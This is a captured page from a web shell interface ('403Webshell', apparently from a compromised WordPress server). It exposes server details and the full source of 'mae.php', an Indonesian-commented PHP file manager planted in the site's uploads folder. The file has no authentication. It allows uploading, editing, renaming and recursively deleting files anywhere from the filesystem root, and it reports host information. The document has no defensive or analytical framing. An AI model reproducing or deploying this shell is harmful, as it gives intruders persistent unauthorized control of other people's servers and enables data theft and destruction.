403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/uploads/WPL/8044/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/uploads/WPL/8044/mae.php
<?php
// ============================================================
// FILE MANAGER LENGKAP: BREADCRUMBS + INFO VPS + FORCE DELETE + RENAME
// DEFAULT DIRECTORY = FOLDER SCRIPT
// COMPATIBLE: PHP 5.6 - 8.x
// ============================================================

error_reporting(E_ALL);
ini_set('display_errors', 0);

// Pastikan base directory absolute path & aman
$baseDir = realpath('/') ?: '/'; // Ubah jika perlu

// ---------- FUNGSI FORCE DELETE ----------
function deleteDirectory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir)) return unlink($dir);
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        if (is_dir($path)) {
            deleteDirectory($path);
        } else {
            unlink($path);
        }
    }
    return rmdir($dir);
}

function getVpsInfo() {
    $info = array();
    $info['Sistem Operasi'] = php_uname('s') . ' ' . php_uname('r') . ' (' . php_uname('m') . ')';
    $info['Hostname'] = php_uname('n');
    $info['IP Server'] = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'N/A';
    $info['Versi PHP'] = PHP_VERSION;
    $info['Web Server'] = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A';
    $memLimit = ini_get('memory_limit');
    $memUsed = memory_get_usage(true);
    $info['RAM Usage'] = formatBytes($memUsed) . ' / ' . $memLimit;
    if (function_exists('disk_total_space') && function_exists('disk_free_space')) {
        $total = @disk_total_space('/');
        $free = @disk_free_space('/');
        if ($total !== false && $free !== false && $total > 0) {
            $used = $total - $free;
            $percent = round(($used / $total) * 100, 2);
            $info['Disk Usage'] = formatBytes($used) . ' / ' . formatBytes($total) . " ($percent%)";
            $info['Disk Free'] = formatBytes($free);
        } else {
            $info['Disk Usage'] = 'N/A';
            $info['Disk Free'] = 'N/A';
        }
    } else {
        $info['Disk Usage'] = 'N/A';
        $info['Disk Free'] = 'N/A';
    }
    if (function_exists('sys_getloadavg')) {
        $load = @sys_getloadavg();
        $info['Load Average'] = is_array($load) ? implode(', ', $load) : 'N/A';
    } else {
        $info['Load Average'] = 'N/A';
    }
    if (is_readable('/proc/uptime')) {
        $uptimeData = @file_get_contents('/proc/uptime');
        if ($uptimeData !== false) {
            $uptimeParts = explode(' ', $uptimeData);
            $uptimeSecs = (int) $uptimeParts[0];
            $days = floor($uptimeSecs / 86400);
            $hours = floor(($uptimeSecs % 86400) / 3600);
            $minutes = floor(($uptimeSecs % 3600) / 60);
            $info['Uptime'] = "$days hari, $hours jam, $minutes menit";
        } else {
            $info['Uptime'] = 'N/A';
        }
    } else {
        $info['Uptime'] = 'N/A';
    }
    return $info;
}

function formatBytes($bytes, $precision = 2) {
    if (!is_numeric($bytes) || $bytes <= 0) return '0 B';
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $pow = floor(log((float)$bytes) / log(1024));
    $pow = min((int)$pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    return round($bytes, $precision) . ' ' . $units[$pow];
}

// ---------- PROSES PATH (DEFAULT KE FOLDER SCRIPT) ----------
// Ambil default relative path dari folder script
$defaultRel = ltrim(substr(__DIR__, strlen(realpath('/'))), '/');
$relativePath = isset($_GET['dir']) ? (string)$_GET['dir'] : $defaultRel;
$relativePath = str_replace(array('../', '..\\'), '', $relativePath);
$fullPath = $baseDir . ($relativePath ? DIRECTORY_SEPARATOR . $relativePath : '');
$currentPath = realpath($fullPath);

if ($currentPath === false || !is_dir($currentPath) || strpos($currentPath, $baseDir) !== 0) {
    die("❌ Direktori tidak valid atau akses ditolak.");
}

$pesan = null;

// ---------- PROSES UPLOAD ----------
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $file = $_FILES['file'];
    if (is_array($file['name'])) {
        $pesan = "❌ Multiple upload tidak didukung.";
    } elseif ($file['error'] === UPLOAD_ERR_OK) {
        $dest = $currentPath . DIRECTORY_SEPARATOR . basename((string)$file['name']);
        if (move_uploaded_file($file['tmp_name'], $dest)) {
            $pesan = "✅ Upload berhasil!";
        } else {
            $pesan = "❌ Gagal upload.";
        }
    } else {
        $pesan = "❌ Error upload (kode: " . htmlspecialchars((string)$file['error']) . ")";
    }
}

// ---------- PROSES HAPUS ----------
if (isset($_GET['delete'])) {
    $deleteTarget = basename((string)$_GET['delete']);
    $deletePath = $currentPath . DIRECTORY_SEPARATOR . $deleteTarget;
    if (is_file($deletePath)) {
        if (@unlink($deletePath)) {
            $pesan = "✅ File dihapus.";
        } else {
            $pesan = "❌ Gagal menghapus file.";
        }
    } elseif (is_dir($deletePath)) {
        if (deleteDirectory($deletePath)) {
            $pesan = "✅ Folder dan seluruh isinya berhasil dihapus.";
        } else {
            $pesan = "❌ Gagal menghapus folder (periksa izin).";
        }
    } else {
        $pesan = "❌ Target tidak ditemukan.";
    }
}

// ---------- PROSES RENAME ----------
$isRename = false;
$renameOld = '';
if (isset($_GET['rename'])) {
    $renameOld = basename((string)$_GET['rename']);
    $renamePath = $currentPath . DIRECTORY_SEPARATOR . $renameOld;
    if (file_exists($renamePath)) {
        $isRename = true;
    } else {
        die("❌ Item tidak ditemukan.");
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['rename_submit'])) {
    $oldName = basename((string)$_POST['old_name']);
    $newName = basename((string)$_POST['new_name']);
    if ($oldName && $newName && $oldName !== $newName) {
        $oldPath = $currentPath . DIRECTORY_SEPARATOR . $oldName;
        $newPath = $currentPath . DIRECTORY_SEPARATOR . $newName;
        if (file_exists($oldPath)) {
            if (!file_exists($newPath)) {
                if (rename($oldPath, $newPath)) {
                    $pesan = "✅ Berhasil diubah menjadi '$newName'.";
                } else {
                    $pesan = "❌ Gagal mengganti nama.";
                }
            } else {
                $pesan = "❌ Nama '$newName' sudah ada.";
            }
        } else {
            $pesan = "❌ Item asli tidak ditemukan.";
        }
    } else {
        $pesan = "❌ Nama tidak valid atau sama dengan sebelumnya.";
    }
    header("Location: ?dir=" . urlencode($relativePath));
    exit;
}

// ---------- PROSES EDIT ----------
$isEditable = false;
$content = '';
$editFile = '';
if (isset($_GET['edit'])) {
    $editFile = basename((string)$_GET['edit']);
    $editPath = $currentPath . DIRECTORY_SEPARATOR . $editFile;
    if (is_file($editPath) && is_readable($editPath)) {
        $content = file_get_contents($editPath);
        if ($content === false) $content = '';
        $isEditable = true;
    } else {
        die("❌ File tidak ditemukan atau tidak bisa dibaca.");
    }
}
if (isset($_POST['save'])) {
    $saveFile = basename((string)$_POST['save']);
    $savePath = $currentPath . DIRECTORY_SEPARATOR . $saveFile;
    $saveContent = isset($_POST['content']) ? (string)$_POST['content'] : '';
    if (is_file($savePath) && is_writable($savePath)) {
        if (file_put_contents($savePath, $saveContent) !== false) {
            $pesan = "✅ File berhasil disimpan.";
            header("Location: ?dir=" . urlencode($relativePath));
            exit;
        } else {
            $pesan = "❌ Gagal menyimpan file.";
        }
    }
}

// ---------- BACA ISI DIREKTORI ----------
$items = @scandir($currentPath);
if ($items === false) die("❌ Gagal membaca direktori.");

$folders = array();
$files = array();
foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    $fullPathItem = $currentPath . DIRECTORY_SEPARATOR . $item;
    if (is_dir($fullPathItem)) {
        $folders[] = $item;
    } else {
        $files[] = $item;
    }
}
sort($folders);
sort($files);
$allItems = array_merge($folders, $files);

$parentPath = ($relativePath !== '') ? dirname($relativePath) : '';
if ($parentPath === '.' || $parentPath === DIRECTORY_SEPARATOR) $parentPath = '';
$parentUrl = '?dir=' . urlencode($parentPath);

// ---------- BREADCRUMBS ----------
function buildBreadcrumbs($relativePath) {
    $crumbs = array();
    $segments = explode('/', trim($relativePath, '/'));
    $current = '';
    $crumbs[] = array('label' => '🏠 Root', 'path' => '');
    foreach ($segments as $seg) {
        if ($seg === '') continue;
        $current .= ($current ? '/' : '') . $seg;
        $crumbs[] = array('label' => $seg, 'path' => $current);
    }
    return $crumbs;
}
$breadcrumbs = buildBreadcrumbs($relativePath);

$vpsInfo = getVpsInfo();
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager Pro</title>
    <style>
        * { box-sizing: border-box; }
        body { font-family: 'Segoe UI', Arial, sans-serif; max-width: 1200px; margin: 20px auto; padding: 0 20px; background: #f0f2f5; }
        .container { background: white; padding: 25px; border-radius: 12px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
        .header { display: flex; justify-content: space-between; align-items: center; border-bottom: 2px solid #e9ecef; padding-bottom: 10px; margin-bottom: 20px; flex-wrap: wrap; }
        .breadcrumb { display: flex; flex-wrap: wrap; align-items: center; font-size: 15px; background: #e9ecef; padding: 6px 16px; border-radius: 20px; color: #495057; }
        .breadcrumb a { color: #007bff; text-decoration: none; padding: 0 4px; }
        .breadcrumb a:hover { text-decoration: underline; }
        .breadcrumb .separator { margin: 0 4px; color: #6c757d; }
        .breadcrumb .current { font-weight: 600; color: #212529; }
        .vps-card { background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 15px 20px; margin-bottom: 25px; display: grid; grid-template-columns: repeat(auto-fit, minmax(280px, 1fr)); gap: 12px 20px; font-size: 14px; }
        .vps-card div { background: #fff; padding: 8px 12px; border-radius: 6px; border: 1px solid #e9ecef; display: flex; align-items: center; }
        .vps-card .label { font-weight: 600; color: #495057; width: 120px; flex-shrink: 0; }
        .vps-card .value { color: #0056b3; font-weight: 500; word-break: break-all; }
        .item-list { list-style: none; padding: 0; margin: 10px 0; }
        .item-list li { padding: 8px 12px; border-bottom: 1px solid #f1f3f5; display: flex; align-items: center; justify-content: space-between; transition: background 0.15s; flex-wrap: wrap; }
        .item-list li:hover { background: #f8f9fa; }
        .item-link { text-decoration: none; color: #212529; font-size: 16px; display: flex; align-items: center; flex: 1; }
        .item-link:hover { color: #007bff; }
        .icon { margin-right: 12px; font-size: 20px; width: 30px; text-align: center; }
        .folder-icon { color: #ffc107; }
        .file-icon { color: #6c757d; }
        .file-size { font-size: 13px; color: #6c757d; margin-left: 15px; }
        .item-actions { display: flex; gap: 6px; flex-wrap: wrap; }
        .btn-delete, .btn-edit, .btn-rename { text-decoration: none; padding: 2px 10px; border-radius: 12px; font-size: 12px; border: 1px solid; cursor: pointer; display: inline-block; }
        .btn-delete { color: #dc3545; border-color: #dc3545; }
        .btn-delete:hover { background: #dc3545; color: white; }
        .btn-edit { color: #17a2b8; border-color: #17a2b8; }
        .btn-edit:hover { background: #17a2b8; color: white; }
        .btn-rename { color: #ffc107; border-color: #ffc107; }
        .btn-rename:hover { background: #ffc107; color: #212529; }
        .parent-item { background: #f8f9fa; border-left: 4px solid #6c757d; }
        .parent-item .item-link { color: #6c757d; font-weight: bold; }
        .message { padding: 10px 18px; border-radius: 6px; margin-bottom: 20px; background: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
        .error { background: #f8d7da; color: #721c24; border-color: #f5c6cb; }
        .empty-msg { text-align: center; color: #adb5bd; padding: 30px 0; }
        .form-upload { margin-top: 25px; padding-top: 20px; border-top: 2px solid #e9ecef; display: flex; align-items: center; gap: 15px; flex-wrap: wrap; }
        .form-upload input[type="file"] { padding: 6px 12px; border: 1px solid #ced4da; border-radius: 4px; }
        .btn-upload { background: #28a745; color: white; border: none; padding: 8px 24px; border-radius: 4px; cursor: pointer; font-size: 14px; }
        .btn-upload:hover { background: #218838; }
        .editor-area { margin: 20px 0; }
        .editor-area textarea { width: 100%; height: 400px; font-family: 'Courier New', monospace; font-size: 14px; padding: 12px; border: 1px solid #ced4da; border-radius: 6px; resize: vertical; }
        .editor-actions { margin-top: 10px; display: flex; gap: 15px; }
        .btn-save { background: #007bff; color: white; border: none; padding: 8px 30px; border-radius: 4px; cursor: pointer; font-size: 16px; }
        .btn-save:hover { background: #0069d9; }
        .btn-cancel { background: #6c757d; color: white; border: none; padding: 8px 30px; border-radius: 4px; text-decoration: none; }
        .btn-cancel:hover { background: #5a6268; }
        .rename-area { margin: 20px 0; padding: 15px; background: #fff3cd; border: 1px solid #ffeeba; border-radius: 8px; }
        .rename-area input[type="text"] { padding: 8px 12px; border: 1px solid #ced4da; border-radius: 4px; width: 300px; max-width: 100%; }
        .rename-area .btn-rename-save { background: #ffc107; color: #212529; border: none; padding: 8px 24px; border-radius: 4px; cursor: pointer; }
        .rename-area .btn-rename-save:hover { background: #e0a800; }
        @media (max-width: 600px) { .item-list li { flex-wrap: wrap; } .file-size { display: none; } .vps-card { grid-template-columns: 1fr; } }
    </style>
</head>
<body>
<div class="container">

    <!-- HEADER -->
    <div class="header">
        <div class="breadcrumb">
            <?php foreach ($breadcrumbs as $index => $crumb): ?>
                <?php if ($index > 0): ?><span class="separator">›</span><?php endif; ?>
                <?php if ($index === count($breadcrumbs) - 1): ?>
                    <span class="current"><?php echo htmlspecialchars($crumb['label']); ?></span>
                <?php else: ?>
                    <a href="?dir=<?php echo urlencode($crumb['path']); ?>"><?php echo htmlspecialchars($crumb['label']); ?></a>
                <?php endif; ?>
            <?php endforeach; ?>
        </div>
        <span style="font-size:14px; color:#6c757d;">📂 <?php echo htmlspecialchars($relativePath ?: '/'); ?></span>
    </div>

    <!-- INFO VPS -->
    <div class="vps-card">
        <?php foreach ($vpsInfo as $label => $value): ?>
            <div><span class="label"><?php echo htmlspecialchars($label); ?>:</span> <span class="value"><?php echo htmlspecialchars((string)$value); ?></span></div>
        <?php endforeach; ?>
    </div>

    <!-- PESAN -->
    <?php if ($pesan): ?>
        <div class="message <?php echo strpos($pesan, '✅') === false ? 'error' : ''; ?>">
            <?php echo htmlspecialchars($pesan); ?>
        </div>
    <?php endif; ?>

    <!-- RENAME FORM -->
    <?php if ($isRename): ?>
        <div class="rename-area">
            <h4>✏️ Rename: <?php echo htmlspecialchars($renameOld); ?></h4>
            <form method="post">
                <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($renameOld); ?>">
                <input type="text" name="new_name" value="<?php echo htmlspecialchars($renameOld); ?>" required>
                <button type="submit" name="rename_submit" class="btn-rename-save">💾 Ganti Nama</button>
                <a href="?dir=<?php echo urlencode($relativePath); ?>" class="btn-cancel" style="display:inline-block; padding:8px 20px;">❌ Batal</a>
            </form>
        </div>
    <?php elseif ($isEditable): ?>
        <!-- EDITOR -->
        <div class="editor-area">
            <h3>✏️ Edit: <?php echo htmlspecialchars($editFile); ?></h3>
            <form method="post">
                <input type="hidden" name="save" value="<?php echo htmlspecialchars($editFile); ?>">
                <textarea name="content"><?php echo htmlspecialchars($content); ?></textarea>
                <div class="editor-actions">
                    <button type="submit" class="btn-save">💾 Simpan</button>
                    <a href="?dir=<?php echo urlencode($relativePath); ?>" class="btn-cancel">❌ Batal</a>
                </div>
            </form>
        </div>
    <?php else: ?>
        <!-- DAFTAR FILE & FOLDER -->
        <ul class="item-list">
            <?php if ($relativePath !== ''): ?>
                <li class="parent-item">
                    <a href="<?php echo $parentUrl; ?>" class="item-link">
                        <span class="icon">⬆</span> Parent (..)
                    </a>
                </li>
            <?php endif; ?>

            <?php if (empty($allItems)): ?>
                <li class="empty-msg">📭 Kosong</li>
            <?php else: ?>
                <?php foreach ($allItems as $item):
                    $fullPathItem = $currentPath . DIRECTORY_SEPARATOR . $item;
                    $isDir = is_dir($fullPathItem);
                    $icon = $isDir ? '📁' : '📄';
                    $iconClass = $isDir ? 'folder-icon' : 'file-icon';
                    $fSize = @filesize($fullPathItem);
                    $size = $isDir ? '' : ($fSize !== false ? number_format((float)$fSize) . ' B' : 'N/A');
                    if ($isDir) {
                        $url = '?dir=' . urlencode($relativePath ? $relativePath . '/' . $item : $item);
                        $target = '';
                    } else {
                        $url = htmlspecialchars($relativePath ? $relativePath . '/' . $item : $item);
                        $target = ' target="_blank"';
                    }
                    $deleteUrl = '?dir=' . urlencode($relativePath) . '&delete=' . urlencode($item);
                    $editUrl = '?dir=' . urlencode($relativePath) . '&edit=' . urlencode($item);
                    $renameUrl = '?dir=' . urlencode($relativePath) . '&rename=' . urlencode($item);
                    $confirmMsg = $isDir ? "Hapus folder '$item' dan seluruh isinya secara permanen?" : "Hapus file '$item'?";
                ?>
                    <li>
                        <a href="<?php echo $url; ?>" class="item-link" <?php echo $target; ?>>
                            <span class="icon <?php echo $iconClass; ?>"><?php echo $icon; ?></span>
                            <span><?php echo htmlspecialchars($item); ?></span>
                            <?php if (!$isDir): ?><span class="file-size"><?php echo $size; ?></span><?php endif; ?>
                        </a>
                        <div class="item-actions">
                            <a href="<?php echo $renameUrl; ?>" class="btn-rename">✏️ Rename</a>
                            <?php if (!$isDir): ?>
                                <a href="<?php echo $editUrl; ?>" class="btn-edit">📝 Edit</a>
                            <?php endif; ?>
                            <a href="<?php echo $deleteUrl; ?>" class="btn-delete" onclick="return confirm('<?php echo htmlspecialchars($confirmMsg); ?>')">🗑️ Hapus</a>
                        </div>
                    </li>
                <?php endforeach; ?>
            <?php endif; ?>
        </ul>

        <!-- UPLOAD FORM -->
        <div class="form-upload">
            <form method="post" enctype="multipart/form-data" style="display:flex; gap:10px; flex-wrap:wrap; align-items:center;">
                <input type="file" name="file" required>
                <button type="submit" class="btn-upload">📤 Upload</button>
            </form>
            <small style="color:#6c757d; margin-left:auto;">File disimpan di folder ini</small>
        </div>
    <?php endif; ?>

</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit